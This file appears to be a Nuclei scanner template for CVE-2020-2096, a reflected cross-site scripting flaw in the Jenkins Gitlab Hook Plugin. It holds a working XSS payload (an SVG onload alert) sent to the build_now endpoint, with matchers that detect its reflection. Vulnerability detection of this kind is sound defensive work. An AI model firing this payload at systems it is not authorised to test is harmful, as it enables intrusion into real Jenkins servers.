nuclei-templates/cves/2020/CVE-2020-2096.yaml

27 lines
827 B
YAML

id: CVE-2020-2096
info:
name: Jenkins Gitlab Hook XSS
author: madrobot
severity: medium
description: Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.
reference: |
- https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
- http://www.openwall.com/lists/oss-security/2020/01/15/1
- http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
tags: cve,cve2020,jenkins,xss
requests:
- method: GET
path:
- "{{BaseURL}}/gitlab/build_now%3Csvg/onload=alert(1337)%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<svg/onload=alert(1337)>"
part: body